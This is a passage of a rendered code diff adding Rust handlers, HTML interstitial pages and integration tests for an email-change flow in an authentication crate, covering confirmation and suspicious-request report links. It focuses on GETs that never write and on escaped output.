| 123 | + "This request could not be processed.", | |
| 124 | + ), | |
| 125 | + }; | |
| 126 | + Html(render(&EmailChangePage { | |
| 127 | + lang: locale.to_string(), | |
| 128 | + title: tr( | |
| 129 | + i18n, | |
| 130 | + "email_change_page.error_title", | |
| 131 | + locale, | |
| 132 | + "Unusable link", | |
| 133 | + ) | |
| 134 | + .await, | |
| 135 | + message: tr(i18n, key, locale, fallback).await, | |
| 136 | + button: None, | |
| 137 | + })) | |
| 138 | +} | |
| 139 | + | |
| 140 | +/// `POST /api/v1/auth/email-change` — open a change request. | |
| 141 | +/// | |
| 142 | +/// Re-authenticates with `current_password`, stores a pending request and | |
| 143 | +/// queues two emails: the confirmation link to the candidate address, and a | |
| 144 | +/// notice carrying a report link to the current one. `users.email` is **not** | |
| 145 | +/// touched here. | |
| 146 | +/// | |
| 147 | +/// # Errors | |
| 148 | +/// | |
| 149 | +/// - [`AppError::Validation`] — malformed body, address already taken, or the | |
| 150 | +/// address is the account's current one. | |
| 151 | +/// - [`AppError::InvalidCredentials`] — wrong `current_password`. | |
| 152 | +/// - [`AppError::TooManyRequests`] — more than three requests in an hour. | |
| 153 | +/// - [`AppError::Config`] — no usable SMTP configuration. | |
| 154 | +pub async fn request_email_change( | |
| 155 | + State(db): State<DatabaseConnection>, | |
| 156 | + i18n: Option<Extension<Arc<I18nService>>>, | |
| 157 | + locale: Option<Extension<Locale>>, | |
| 158 | + user: AuthUser, | |
| 159 | + Json(payload): Json<EmailChangeRequestPayload>, | |
| 160 | +) -> Result<Json<EmailChangeRequestResponse>, AppError> { | |
| 161 | + payload.validate().map_err(|e| { | |
| 162 | + tracing::warn!(user_id = %user.user_id, "Email-change request validation failed: {}", e); | |
| 163 | + AppError::Validation(format!("Invalid email-change request: {e}")) | |
| 164 | + })?; | |
| 165 | + | |
| 166 | + let i18n = i18n.map(|Extension(service)| service); | |
| 167 | + let locale = locale_of(locale); | |
| 168 | + let service = service_from(i18n.as_ref())?; | |
| 169 | + | |
| 170 | + service | |
| 171 | + .request_change( | |
| 172 | + &db, | |
| 173 | + user.user_id, | |
| 174 | + &payload.new_email, | |
| 175 | + &payload.current_password, | |
| 176 | + ) | |
| 177 | + .await?; | |
| 178 | + | |
| 179 | + Ok(Json(EmailChangeRequestResponse { | |
| 180 | + message: tr( | |
| 181 | + i18n.as_ref(), | |
| 182 | + "email_change.request_accepted", | |
| 183 | + &locale, | |
| 184 | + "An email has been sent to your new address. The change will be applied once you \ | |
| 185 | + confirm it from that message.", | |
| 186 | + ) | |
| 187 | + .await, | |
| 188 | + pending_email: mask_email(payload.new_email.trim()), | |
| 189 | + })) | |
| 190 | +} | |
| 191 | + | |
| 192 | +/// `GET /api/v1/auth/email-change/confirm/{token}` — interstitial page. | |
| 193 | +/// | |
| 194 | +/// Reads the token state and renders a form; it never writes. Always answers | |
| 195 | +/// `200`, including for an unusable link: a human arriving from their mailbox | |
| 196 | +/// deserves an explanation rather than a status code. | |
| 197 | +pub async fn confirm_email_change_page( | |
| 198 | + State(db): State<DatabaseConnection>, | |
| 199 | + i18n: Option<Extension<Arc<I18nService>>>, | |
| 200 | + locale: Option<Extension<Locale>>, | |
| 201 | + Path(token): Path<String>, | |
| 202 | +) -> Html<String> { | |
| 203 | + let i18n = i18n.map(|Extension(service)| service); | |
| 204 | + let locale = locale_of(locale); | |
| 205 | + | |
| 206 | + match EmailChangeService::inspect_confirmation_token(&db, &token).await { | |
| 207 | + Ok(EmailChangeLinkState::Usable) => Html(render(&EmailChangePage { | |
| 208 | + lang: locale.clone(), | |
| 209 | + title: tr( | |
| 210 | + i18n.as_ref(), | |
| 211 | + "email_change_page.confirm_title", | |
| 212 | + &locale, | |
| 213 | + "Confirm your new email address", | |
| 214 | + ) | |
| 215 | + .await, | |
| 216 | + message: tr( | |
| 217 | + i18n.as_ref(), | |
| 218 | + "email_change_page.confirm_question", | |
| 219 | + &locale, | |
| 220 | + "You are about to replace the sign-in email address of your account. All your \ | |
| 221 | + active sessions will be closed.", | |
| 222 | + ) | |
| 223 | + .await, | |
| 224 | + button: Some( | |
| 225 | + tr( | |
| 226 | + i18n.as_ref(), | |
| 227 | + "email_change_page.confirm_button", | |
| 228 | + &locale, | |
| 229 | + "Confirm the change", | |
| 230 | + ) | |
| 231 | + .await, | |
| 232 | + ), | |
| 233 | + })), | |
| 234 | + Ok(state) => unusable_link_page(i18n.as_ref(), &locale, state).await, | |
| 235 | + Err(e) => { | |
| 236 | + tracing::error!("Email-change token lookup failed: {}", e); | |
| 237 | + unusable_link_page(i18n.as_ref(), &locale, EmailChangeLinkState::Usable).await | |
| 238 | + } | |
| 239 | + } | |
| 240 | +} | |
| 241 | + | |
| 242 | +/// `POST /api/v1/auth/email-change/confirm/{token}` — apply the change. | |
| 243 | +/// | |
| 244 | +/// Writes the new address already verified, revokes every refresh token and | |
| 245 | +/// drops any pending password-change request. Renders the outcome as HTML: | |
| 246 | +/// the caller is the interstitial form, not an API client. | |
| 247 | +pub async fn confirm_email_change( | |
| 248 | + State(db): State<DatabaseConnection>, | |
| 249 | + i18n: Option<Extension<Arc<I18nService>>>, | |
| 250 | + locale: Option<Extension<Locale>>, | |
| 251 | + hooks: Option<Extension<Arc<dyn RustwardenHooks>>>, | |
| 252 | + Path(token): Path<String>, | |
| 253 | +) -> Html<String> { | |
| 254 | + let i18n = i18n.map(|Extension(service)| service); | |
| 255 | + let locale = locale_of(locale); | |
| 256 | + let hooks = hooks.map(|Extension(hooks)| hooks); | |
| 257 | + | |
| 258 | + let service = match service_from(i18n.as_ref()) { | |
| 259 | + Ok(service) => service, | |
| 260 | + Err(e) => { | |
| 261 | + tracing::error!("Email-change confirmation unavailable: {}", e); | |
| 262 | + return unusable_link_page(i18n.as_ref(), &locale, EmailChangeLinkState::Usable).await; | |
| 263 | + } | |
| 264 | + }; | |
| 265 | + | |
| 266 | + match service.confirm_change(&db, &token, hooks.as_ref()).await { | |
| 267 | + Ok(_) => Html(render(&EmailChangePage { | |
| 268 | + lang: locale.clone(), | |
| 269 | + title: tr( | |
| 270 | + i18n.as_ref(), | |
| 271 | + "email_change_page.confirm_success_title", | |
| 272 | + &locale, | |
| 273 | + "Email address changed", | |
| 274 | + ) | |
| 275 | + .await, | |
| 276 | + message: tr( | |
| 277 | + i18n.as_ref(), | |
| 278 | + "email_change_page.confirm_success", | |
| 279 | + &locale, | |
| 280 | + "Your new address is active and verified. Your sessions were closed: sign in \ | |
| 281 | + again with this new address.", | |
| 282 | + ) | |
| 283 | + .await, | |
| 284 | + button: None, | |
| 285 | + })), | |
| 286 | + Err(e) => { | |
| 287 | + tracing::warn!("Email-change confirmation failed: {}", e); | |
| 288 | + // One extra indexed read to tell "expired" from "already used" | |
| 289 | + // from "unknown": this path is rare and the message matters. | |
| 290 | + let state = EmailChangeService::inspect_confirmation_token(&db, &token) | |
| 291 | + .await | |
| 292 | + .unwrap_or(EmailChangeLinkState::Usable); | |
| 293 | + unusable_link_page(i18n.as_ref(), &locale, state).await | |
| 294 | + } | |
| 295 | + } | |
| 296 | +} | |
| 297 | + | |
| 298 | +/// `GET /api/v1/auth/email-change/report/{token}` — interstitial page. | |
| 299 | +/// | |
| 300 | +/// Read-only, exactly like the confirmation page: a prefetched report would | |
| 301 | +/// wake every administrator for nothing. | |
| 302 | +pub async fn report_email_change_page( | |
| 303 | + State(db): State<DatabaseConnection>, | |
| 304 | + i18n: Option<Extension<Arc<I18nService>>>, | |
| 305 | + locale: Option<Extension<Locale>>, | |
| 306 | + Path(token): Path<String>, | |
| 307 | +) -> Html<String> { | |
| 308 | + let i18n = i18n.map(|Extension(service)| service); | |
| 309 | + let locale = locale_of(locale); | |
| 310 | + | |
| 311 | + match EmailChangeService::inspect_report_token(&db, &token).await { | |
| 312 | + Ok(EmailChangeLinkState::Usable) => Html(render(&EmailChangePage { | |
| 313 | + lang: locale.clone(), | |
| 314 | + title: tr( | |
| 315 | + i18n.as_ref(), | |
| 316 | + "email_change_page.report_title", | |
| 317 | + &locale, | |
| 318 | + "Report a suspicious request", | |
| 319 | + ) | |
| 320 | + .await, | |
| 321 | + message: tr( | |
| 322 | + i18n.as_ref(), | |
| 323 | + "email_change_page.report_question", | |
| 324 | + &locale, | |
| 325 | + "You are about to alert the administrators about this email-change request. The \ | |
| 326 | + change will not be blocked by this report.", | |
| 327 | + ) | |
| 328 | + .await, | |
| 329 | + button: Some( | |
| 330 | + tr( | |
| 331 | + i18n.as_ref(), | |
| 332 | + "email_change_page.report_button", | |
| 333 | + &locale, | |
| 334 | + "Alert the administrators", | |
| 335 | + ) | |
| 336 | + .await, | |
| 337 | + ), | |
| 338 | + })), | |
| 339 | + Ok(state) => unusable_link_page(i18n.as_ref(), &locale, state).await, | |
| 340 | + Err(e) => { | |
| 341 | + tracing::error!("Email-change report token lookup failed: {}", e); | |
| 342 | + unusable_link_page(i18n.as_ref(), &locale, EmailChangeLinkState::Usable).await | |
| 343 | + } | |
| 344 | + } | |
| 345 | +} | |
| 346 | + | |
| 347 | +/// `POST /api/v1/auth/email-change/report/{token}` — record the report. | |
| 348 | +/// | |
| 349 | +/// Flags the request, writes an audit entry and alerts every administrator. | |
| 350 | +/// It deliberately does **not** cancel the change: the mailbox that receives | |
| 351 | +/// this link can alert, not decide. | |
| 352 | +pub async fn report_email_change( | |
| 353 | + State(db): State<DatabaseConnection>, | |
| 354 | + i18n: Option<Extension<Arc<I18nService>>>, | |
| 355 | + locale: Option<Extension<Locale>>, | |
| 356 | + hooks: Option<Extension<Arc<dyn RustwardenHooks>>>, | |
| 357 | + Path(token): Path<String>, | |
| 358 | +) -> Html<String> { | |
| 359 | + let i18n = i18n.map(|Extension(service)| service); | |
| 360 | + let locale = locale_of(locale); | |
| 361 | + let hooks = hooks.map(|Extension(hooks)| hooks); | |
| 362 | + | |
| 363 | + let service = match service_from(i18n.as_ref()) { | |
| 364 | + Ok(service) => service, | |
| 365 | + Err(e) => { | |
| 366 | + tracing::error!("Email-change report unavailable: {}", e); | |
| 367 | + return unusable_link_page(i18n.as_ref(), &locale, EmailChangeLinkState::Usable).await; | |
| 368 | + } | |
| 369 | + }; | |
| 370 | + | |
| 371 | + match service.report_suspicious(&db, &token, hooks.as_ref()).await { | |
| 372 | + Ok(_) => Html(render(&EmailChangePage { | |
| 373 | + lang: locale.clone(), | |
| 374 | + title: tr( | |
| 375 | + i18n.as_ref(), | |
| 376 | + "email_change_page.report_success_title", | |
| 377 | + &locale, | |
| 378 | + "Report sent", | |
| 379 | + ) | |
| 380 | + .await, | |
| 381 | + message: tr( | |
| 382 | + i18n.as_ref(), | |
| 383 | + "email_change_page.report_success", | |
| 384 | + &locale, | |
| 385 | + "The administrators have been notified. If you are not the origin of the request, \ | |
| 386 | + change your password right away.", | |
| 387 | + ) | |
| 388 | + .await, | |
| 389 | + button: None, | |
| 390 | + })), | |
| 391 | + Err(e) => { | |
| 392 | + tracing::warn!("Email-change report failed: {}", e); | |
| 393 | + let state = EmailChangeService::inspect_report_token(&db, &token) | |
| 394 | + .await | |
| 395 | + .unwrap_or(EmailChangeLinkState::Usable); | |
| 396 | + unusable_link_page(i18n.as_ref(), &locale, state).await | |
| 397 | + } | |
| 398 | + } | |
| 399 | +} | |
| 400 | + | |
| 401 | +#[cfg(test)] | |
| 402 | +mod tests { | |
| 403 | + use super::*; | |
| 404 | + use crate::auth::auth_api_routes; | |
| 405 | + use crate::models::{email_queue, pending_email_change, user}; | |
| 406 | + use axum::Router; | |
| 407 | + use axum::body::Body; | |
| 408 | + use axum::http::{Request, StatusCode}; | |
| 409 | + use chrono::Utc; | |
| 410 | + use sea_orm::{ActiveModelTrait, ColumnTrait, EntityTrait, QueryFilter, QueryOrder, Set}; | |
| 411 | + use tower::ServiceExt; | |
| 412 | + use uuid::Uuid; | |
| 413 | + | |
| 414 | + const PASSWORD: &str = "TestPassword1!"; | |
| 415 | + | |
| 416 | + async fn test_db() -> DatabaseConnection { | |
| 417 | + dotenvy::dotenv().ok(); | |
| 418 | + let url = std::env::var("DATABASE_URL") | |
| 419 | + .expect("DATABASE_URL required for email_change_handlers tests"); | |
| 420 | + sea_orm::Database::connect(&url) | |
| 421 | + .await | |
| 422 | + .expect("connect to the test database") | |
| 423 | + } | |
| 424 | + | |
| 425 | + fn email_config() -> EmailConfig { | |
| 426 | + dotenvy::dotenv().ok(); | |
| 427 | + EmailConfig::from_env().expect("SMTP configuration required for these tests") | |
| 428 | + } | |
| 429 | + | |
| 430 | + /// The four link routes carry no auth layer, so the router needs nothing | |
| 431 | + /// but the database state — which is exactly the headless contract. | |
| 432 | + fn app(db: &DatabaseConnection) -> Router { | |
| 433 | + auth_api_routes().with_state(db.clone()) | |
| 434 | + } | |
| 435 | + | |
| 436 | + async fn body_of(response: axum::response::Response) -> String { | |
| 437 | + let bytes = axum::body::to_bytes(response.into_body(), 64 * 1024) | |
| 438 | + .await | |
| 439 | + .expect("read body"); | |
| 440 | + String::from_utf8(bytes.to_vec()).expect("utf-8 body") | |
| 441 | + } | |
| 442 | + | |
| 443 | + async fn verified_user(db: &DatabaseConnection) -> user::Model { | |
| 444 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 445 | + let hash = crate::services::password_service::PasswordService::hash_password(PASSWORD) | |
| 446 | + .await | |
| 447 | + .expect("hash password"); | |
| 448 | + let created = crate::services::user_service::UserService::create_user( | |
| 449 | + db, | |
| 450 | + format!("ech-{}", &unique[..9]), | |
| 451 | + format!("ech-{}@example.test", &unique[..9]), | |
| 452 | + hash, | |
| 453 | + false, | |
| 454 | + ) | |
| 455 | + .await | |
| 456 | + .expect("create user"); | |
| 457 | + | |
| 458 | + let mut active: user::ActiveModel = created.into(); | |
| 459 | + active.email_verified = Set(true); | |
| 460 | + active.email_verified_at = Set(Some(Utc::now())); | |
| 461 | + active.update(db).await.expect("mark verified") | |
| 462 | + } | |
| 463 | + | |
| 464 | + /// Pull a link's token back out of a queued body, the way a human reads | |
| 465 | + /// the mail and clicks. | |
| 466 | + async fn token_from_mail( | |
| 467 | + db: &DatabaseConnection, | |
| 468 | + to_email: &str, | |
| 469 | + email_type: &str, | |
| 470 | + kind: &str, | |
| 471 | + ) -> String { | |
| 472 | + let mail = email_queue::Entity::find() | |
| 473 | + .filter(email_queue::Column::ToEmail.eq(to_email)) | |
| 474 | + .filter(email_queue::Column::EmailType.eq(email_type)) | |
| 475 | + .order_by_desc(email_queue::Column::CreatedAt) | |
| 476 | + .one(db) | |
| 477 | + .await | |
| 478 | + .expect("query email_queue") | |
| 479 | + .unwrap_or_else(|| panic!("no {email_type} queued for {to_email}")); | |
| 480 | + | |
| 481 | + let marker = format!( | |
| 482 | + "{}/api/v1/auth/email-change/{kind}/", | |
| 483 | + email_config().email_base_url | |
| 484 | + ); | |
| 485 | + let body = mail.body_text; | |
| 486 | + let start = body | |
| 487 | + .find(&marker) | |
| 488 | + .unwrap_or_else(|| panic!("no {kind} link in body: {body}")) | |
| 489 | + + marker.len(); | |
| 490 | + body[start..] | |
| 491 | + .chars() | |
| 492 | + .take_while(|c| c.is_ascii_alphanumeric() || *c == '-') | |
| 493 | + .collect() | |
| 494 | + } | |
| 495 | + | |
| 496 | + /// Open a real request through the service, then hand back the two tokens. | |
| 497 | + async fn seed_request(db: &DatabaseConnection) -> (user::Model, String, String, String) { | |
| 498 | + let user = verified_user(db).await; | |
| 499 | + let candidate = format!("cand-{}@example.test", Uuid::new_v4().simple()); | |
| 500 | + EmailChangeService::new(email_config()) | |
| 501 | + .request_change(db, user.id, &candidate, PASSWORD) | |
| 502 | + .await | |
| 503 | + .expect("seed an email-change request"); | |
| 504 | + | |
| 505 | + let confirm = token_from_mail(db, &candidate, "email_change_validation", "confirm").await; | |
| 506 | + let report = token_from_mail(db, &user.email, "email_change_notice", "report").await; | |
| 507 | + (user, candidate, confirm, report) | |
| 508 | + } | |
| 509 | + | |
| 510 | + async fn pending_row(db: &DatabaseConnection, user_id: Uuid) -> pending_email_change::Model { | |
| 511 | + pending_email_change::Entity::find() | |
| 512 | + .filter(pending_email_change::Column::UserId.eq(user_id)) | |
| 513 | + .order_by_desc(pending_email_change::Column::CreatedAt) | |
| 514 | + .one(db) | |
| 515 | + .await | |
| 516 | + .expect("query pending_email_changes") | |
| 517 | + .expect("a pending row must exist") | |
| 518 | + } | |
| 519 | + | |
| 520 | + async fn current_email(db: &DatabaseConnection, user_id: Uuid) -> String { | |
| 521 | + user::Entity::find_by_id(user_id) | |
| 522 | + .one(db) | |
| 523 | + .await | |
| 524 | + .expect("reload user") | |
| 525 | + .expect("user still exists") | |
| 526 | ||
| 527 | + } | |
| 528 | + | |
| 529 | + fn get(uri: &str) -> Request<Body> { | |
| 530 | + Request::builder() | |
| 531 | + .method("GET") | |
| 532 | + .uri(uri) | |
| 533 | + .body(Body::empty()) | |
| 534 | + .expect("GET request") | |
| 535 | + } | |
| 536 | + | |
| 537 | + /// No CSRF header, no cookie: these routes live on the machine channel and | |
| 538 | + /// the form the page renders carries no token either. | |
| 539 | + fn post(uri: &str) -> Request<Body> { | |
| 540 | + Request::builder() | |
| 541 | + .method("POST") | |
| 542 | + .uri(uri) | |
| 543 | + .body(Body::empty()) | |
| 544 | + .expect("POST request") | |
| 545 | + } | |
| 546 | + | |
| 547 | + // ── GET has no side effect ────────────────────────────────────────────── | |
| 548 | + | |
| 549 | + /// RFC 0041 test 18 — anti-phishing gateways prefetch links. A `GET` that | |
| 550 | + /// acted would let a scanner silently rewrite an account's identity. | |
| 551 | + #[tokio::test] | |
| 552 | + async fn getting_the_confirm_page_renders_a_form_and_writes_nothing() { | |
| 553 | + let db = test_db().await; | |
| 554 | + let (user, candidate, confirm, _) = seed_request(&db).await; | |
| 555 | + | |
| 556 | + // Two GETs, as a gateway and the human would both do. | |
| 557 | + for _ in 0..2 { | |
| 558 | + let response = app(&db) | |
| 559 | + .oneshot(get(&format!("/api/v1/auth/email-change/confirm/{confirm}"))) | |
| 560 | + .await | |
| 561 | + .expect("oneshot"); | |
| 562 | + assert_eq!(response.status(), StatusCode::OK); | |
| 563 | + let html = body_of(response).await; | |
| 564 | + assert!(html.starts_with("<!DOCTYPE html>")); | |
| 565 | + assert!( | |
| 566 | + html.contains("method=\"post\""), | |
| 567 | + "the page must offer a form, not act by itself" | |
| 568 | + ); | |
| 569 | + assert!( | |
| 570 | + !html.contains(&confirm), | |
| 571 | + "the token travels in the URL, never in the body" | |
| 572 | + ); | |
| 573 | + } | |
| 574 | + | |
| 575 | + let row = pending_row(&db, user.id).await; | |
| 576 | + assert!(row.used_at.is_none(), "GET must not consume the request"); | |
| 577 | + assert_eq!(row.new_email, candidate); | |
| 578 | + assert_eq!( | |
| 579 | + current_email(&db, user.id).await, | |
| 580 | + user.email, | |
| 581 | + "GET must not move the address" | |
| 582 | + ); | |
| 583 | + } | |
| 584 | + | |
| 585 | + /// RFC 0041 test 20 — same contract on the report link: a prefetch must | |
| 586 | + /// not wake every administrator. | |
| 587 | + #[tokio::test] | |
| 588 | + async fn getting_the_report_page_renders_a_form_and_writes_nothing() { | |
| 589 | + let db = test_db().await; | |
| 590 | + let (user, _, _, report) = seed_request(&db).await; | |
| 591 | + | |
| 592 | + let response = app(&db) | |
| 593 | + .oneshot(get(&format!("/api/v1/auth/email-change/report/{report}"))) | |
| 594 | + .await | |
| 595 | + .expect("oneshot"); | |
| 596 | + assert_eq!(response.status(), StatusCode::OK); | |
| 597 | + assert!(body_of(response).await.contains("method=\"post\"")); | |
| 598 | + | |
| 599 | + let row = pending_row(&db, user.id).await; | |
| 600 | + assert!(row.reported_at.is_none(), "GET must not file the report"); | |
| 601 | + assert!(row.used_at.is_none()); | |
| 602 | + } | |
| 603 | + | |
| 604 | + // ── POST acts ─────────────────────────────────────────────────────────── | |
| 605 | + | |
| 606 | + /// RFC 0041 test 19 — the human click on the form is what applies the | |
| 607 | + /// change, and it needs no CSRF token: machine channel, single-use secret. | |
| 608 | + #[tokio::test] | |
| 609 | + async fn posting_the_confirm_form_applies_the_change_without_a_csrf_token() { | |
| 610 | + let db = test_db().await; | |
| 611 | + let (user, candidate, confirm, _) = seed_request(&db).await; | |
| 612 | + | |
| 613 | + let response = app(&db) | |
| 614 | + .oneshot(post(&format!( | |
| 615 | + "/api/v1/auth/email-change/confirm/{confirm}" | |
| 616 | + ))) | |
| 617 | + .await | |
| 618 | + .expect("oneshot"); | |
| 619 | + | |
| 620 | + assert_eq!( | |
| 621 | + response.status(), | |
| 622 | + StatusCode::OK, | |
| 623 | + "a POST with neither CSRF header nor cookie must go through" | |
| 624 | + ); | |
| 625 | + let html = body_of(response).await; | |
| 626 | + assert!( | |
| 627 | + !html.contains("<form"), | |
| 628 | + "the result page has nothing left to submit" | |
| 629 | + ); | |
| 630 | + | |
| 631 | + assert_eq!(current_email(&db, user.id).await, candidate); | |
| 632 | + assert!(pending_row(&db, user.id).await.used_at.is_some()); | |
| 633 | + } | |
| 634 | + | |
| 635 | + /// RFC 0041 test 21 — the report is recorded and does not block anything. | |
| 636 | + #[tokio::test] | |
| 637 | + async fn posting_the_report_form_flags_the_request() { | |
| 638 | + let db = test_db().await; | |
| 639 | + let (user, candidate, confirm, report) = seed_request(&db).await; | |
| 640 | + | |
| 641 | + let response = app(&db) | |
| 642 | + .oneshot(post(&format!("/api/v1/auth/email-change/report/{report}"))) | |
| 643 | + .await | |
| 644 | + .expect("oneshot"); | |
| 645 | + assert_eq!(response.status(), StatusCode::OK); | |
| 646 | + assert!(!body_of(response).await.contains("<form")); | |
| 647 | + | |
| 648 | + let row = pending_row(&db, user.id).await; | |
| 649 | + assert!(row.reported_at.is_some(), "the request must be flagged"); | |
| 650 | + assert!(row.used_at.is_none(), "a report must not consume it"); | |
| 651 | + | |
| 652 | + // And the change still goes through: alerting is not deciding. | |
| 653 | + let confirmed = app(&db) | |
| 654 | + .oneshot(post(&format!( | |
| 655 | + "/api/v1/auth/email-change/confirm/{confirm}" | |
| 656 | + ))) | |
| 657 | + .await | |
| 658 | + .expect("oneshot"); | |
| 659 | + assert_eq!(confirmed.status(), StatusCode::OK); | |
| 660 | + assert_eq!(current_email(&db, user.id).await, candidate); | |
| 661 | + } | |
| 662 | + | |
| 663 | + // ── Unusable links ────────────────────────────────────────────────────── | |
| 664 | + | |
| 665 | + /// An unusable link still answers `200` with an explanation, and offers no | |
| 666 | + /// form: nobody is invited to submit a token that would be refused. | |
| 667 | + #[tokio::test] | |
| 668 | + async fn an_unusable_link_explains_itself_and_offers_no_form() { | |
| 669 | + let db = test_db().await; | |
| 670 | + let (user, _, confirm, _) = seed_request(&db).await; | |
| 671 | + | |
| 672 | + // Unknown token. | |
| 673 | + let unknown = Uuid::new_v4().to_string(); | |
| 674 | + let response = app(&db) | |
| 675 | + .oneshot(get(&format!("/api/v1/auth/email-change/confirm/{unknown}"))) | |
| 676 | + .await | |
| 677 | + .expect("oneshot"); | |
| 678 | + assert_eq!(response.status(), StatusCode::OK); | |
| 679 | + let html = body_of(response).await; | |
| 680 | + assert!(html.starts_with("<!DOCTYPE html>")); | |
| 681 | + assert!(html.contains("<h1>"), "the visitor gets an explanation"); | |
| 682 | + assert!( | |
| 683 | + !html.contains("<form") && !html.contains("<button"), | |
| 684 | + "an unusable link must not invite a POST" | |
| 685 | + ); | |
| 686 | + | |
| 687 | + // Expired token. | |
| 688 | + let mut active: pending_email_change::ActiveModel = pending_row(&db, user.id).await.into(); | |
| 689 | + active.expires_at = Set(Utc::now() - chrono::Duration::hours(1)); | |
| 690 | + active.update(&db).await.expect("expire the row"); | |
| 691 | + | |
| 692 | + let response = app(&db) | |
| 693 | + .oneshot(get(&format!("/api/v1/auth/email-change/confirm/{confirm}"))) | |
| 694 | + .await | |
| 695 | + .expect("oneshot"); | |
| 696 | + assert_eq!(response.status(), StatusCode::OK); | |
| 697 | + assert!(!body_of(response).await.contains("<form")); | |
| 698 | + | |
| 699 | + // And posting it anyway changes nothing. | |
| 700 | + let response = app(&db) | |
| 701 | + .oneshot(post(&format!( | |
| 702 | + "/api/v1/auth/email-change/confirm/{confirm}" | |
| 703 | + ))) | |
| 704 | + .await | |
| 705 | + .expect("oneshot"); | |
| 706 | + assert_eq!(response.status(), StatusCode::OK); | |
| 707 | + assert_eq!( | |
| 708 | + current_email(&db, user.id).await, | |
| 709 | + user.email, | |
| 710 | + "an expired link must never move the address" | |
| 711 | + ); | |
| 712 | + } | |
| 713 | + | |
| 714 | + /// The pages render with no `I18nService` extension layered: mounting | |
| 715 | + /// these routes must never require a UI crate or a locale setup. | |
| 716 | + #[tokio::test] | |
| 717 | + async fn the_pages_render_headless_without_i18n() { | |
| 718 | + let db = test_db().await; | |
| 719 | + let (_, _, confirm, _) = seed_request(&db).await; | |
| 720 | + | |
| 721 | + let response = app(&db) | |
| 722 | + .oneshot(get(&format!("/api/v1/auth/email-change/confirm/{confirm}"))) | |
| 723 | + .await | |
| 724 | + .expect("oneshot"); | |
| 725 | + | |
| 726 | + assert_eq!(response.status(), StatusCode::OK); | |
| 727 | + let html = body_of(response).await; | |
| 728 | + assert!( | |
| 729 | + !html.contains("{{") && !html.contains("{%"), | |
| 730 | + "no template syntax may leak into the page: {html}" | |
| 731 | + ); | |
| 732 | + assert!( | |
| 733 | + !html.contains("email_change_page."), | |
| 734 | + "an untranslated key must fall back to English, not surface raw" | |
| 735 | + ); | |
| 736 | + } | |
| 737 | +} |
A
crates/rustwarden-core/src/auth/email_change_pages.rs
+162
-0
@@ -0,0 +1,162 @@
| 1 | +//! Self-contained HTML pages for the two email-change links (RFC 0041). | |
| 2 | +//! | |
| 3 | +//! `rustwarden-core` must stay usable without any UI crate, so these pages are | |
| 4 | +//! built with `format!` right here: **no Askama, no `rustwarden-ui`, no file | |
| 5 | +//! read at runtime**, therefore no `AppError::Template` can ever occur on the | |
| 6 | +//! path a user reaches from their mailbox. A non-regression test asserts this | |
| 7 | +//! module's own source imports neither. | |
| 8 | +//! | |
| 9 | +//! The rendered document carries no JavaScript, no external stylesheet and no | |
| 10 | +//! absolute URL: the form posts to `action=""`, i.e. the current URL, so the | |
| 11 | +//! pages stay correct whatever prefix the consumer mounted the routes under. | |
| 12 | +//! | |
| 13 | +//! A consumer wanting its own presentation mounts its own `GET` route on the | |
| 14 | +//! same path and renders whatever it likes, as long as the form posts to the | |
| 15 | +//! core's `POST` route. The extension point is the route, not a rendering | |
| 16 | +//! trait. | |
| 17 | + | |
| 18 | +use crate::services::email_sanitization::sanitize_email_content; | |
| 19 | + | |
| 20 | +/// An interstitial (with a submit button) or result (without one) page. | |
| 21 | +pub(crate) struct EmailChangePage { | |
| 22 | + /// Value of the document `lang` attribute. | |
| 23 | + pub(crate) lang: String, | |
| 24 | + /// Already translated page title, also used as the `<h1>`. | |
| 25 | + pub(crate) title: String, | |
| 26 | + /// Already translated body message. | |
| 27 | + pub(crate) message: String, | |
| 28 | + /// Already translated submit label. `None` renders **no form at all**: | |
| 29 | + /// used for results and for links that cannot be used (unknown, expired | |
| 30 | + /// or already consumed) — there is no point inviting a `POST` that would | |
| 31 | + /// fail. | |
| 32 | + pub(crate) button: Option<String>, | |
| 33 | +} | |
| 34 | + | |
| 35 | +/// Inline stylesheet. Deliberately tiny and embedded: a CSP that forbids | |
| 36 | +/// inline styles only costs the styling, never the function of the page. | |
| 37 | +const PAGE_STYLE: &str = "body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,\ | |
| 38 | +'Helvetica Neue',Arial,sans-serif;line-height:1.6;color:#1f2937;background:#f4f4f4;margin:0;\ | |
| 39 | +padding:40px 20px}main{max-width:560px;margin:0 auto;background:#fff;border-radius:8px;\ | |
| 40 | +padding:32px;box-shadow:0 2px 4px rgba(0,0,0,.1)}h1{font-size:22px;margin:0 0 16px}\ | |
| 41 | +p{margin:0 0 24px}button{display:inline-block;padding:12px 28px;background:#10b981;color:#fff;\ | |
| 42 | +border:0;border-radius:6px;font-size:16px;font-weight:600;cursor:pointer}"; | |
| 43 | + | |
| 44 | +/// Render the page as a standalone HTML document. | |
| 45 | +/// | |
| 46 | +/// Every caller-supplied string is HTML-escaped, and the confirmation or | |
| 47 | +/// report token is never written into the body: it only ever lives in the URL | |
| 48 | +/// the form posts back to. | |
| 49 | +pub(crate) fn render(page: &EmailChangePage) -> String { | |
| 50 | + let title = sanitize_email_content(&page.title); | |
| 51 | + let message = sanitize_email_content(&page.message); | |
| 52 | + let form = match &page.button { | |
| 53 | + Some(label) => format!( | |
| 54 | + "<form method=\"post\" action=\"\"><button type=\"submit\">{}</button></form>", | |
| 55 | + sanitize_email_content(label) | |
| 56 | + ), | |
| 57 | + None => String::new(), | |
| 58 | + }; | |
| 59 | + | |
| 60 | + format!( | |
| 61 | + "<!DOCTYPE html>\n<html lang=\"{lang}\">\n<head>\n<meta charset=\"utf-8\">\n\ | |
| 62 | + <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\ | |
| 63 | + <meta name=\"robots\" content=\"noindex, nofollow\">\n\ | |
| 64 | + <title>{title}</title>\n<style>{style}</style>\n</head>\n\ | |
| 65 | + <body>\n<main>\n<h1>{title}</h1>\n<p>{message}</p>\n{form}\n</main>\n</body>\n</html>\n", | |
| 66 | + lang = sanitize_email_content(&page.lang), | |
| 67 | + title = title, | |
| 68 | + message = message, | |
| 69 | + style = PAGE_STYLE, | |
| 70 | + form = form, | |
| 71 | + ) | |
| 72 | +} | |
| 73 | + | |
| 74 | +#[cfg(test)] | |
| 75 | +mod tests { | |
| 76 | + use super::*; | |
| 77 | + | |
| 78 | + fn interstitial() -> EmailChangePage { | |
| 79 | + EmailChangePage { | |
| 80 | + lang: "fr".to_string(), | |
